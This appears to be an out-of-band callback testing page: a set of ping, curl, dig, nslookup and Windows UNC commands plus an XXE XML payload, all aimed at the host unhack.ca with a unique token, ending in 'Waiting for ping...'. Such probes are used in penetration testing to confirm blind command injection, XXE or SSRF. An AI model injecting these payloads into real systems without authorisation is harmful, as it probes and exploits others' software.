$ ping -c1 -p 002f1ffb14f0058aaa5067c2835eb100 unhack.ca
$ curl http://unhack.ca/p/2f1ffb14f0058aaa5067c2835eb1
$ dig 2f1ffb14f0058aaa5067c2835eb1 @unhack.ca
$ dig 2f1ffb14f0058aaa5067c2835eb1.ns.unhack.ca
C:\> nslookup 2f1ffb14f0058aaa5067c2835eb1 unhack.ca
C:\> type \\unhack.ca\2f1ffb14f0058aaa5067c2835eb1\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/2f1ffb14f0058aaa5067c2835eb1">]>
<foo>&xxe;</foo>
Waiting for ping...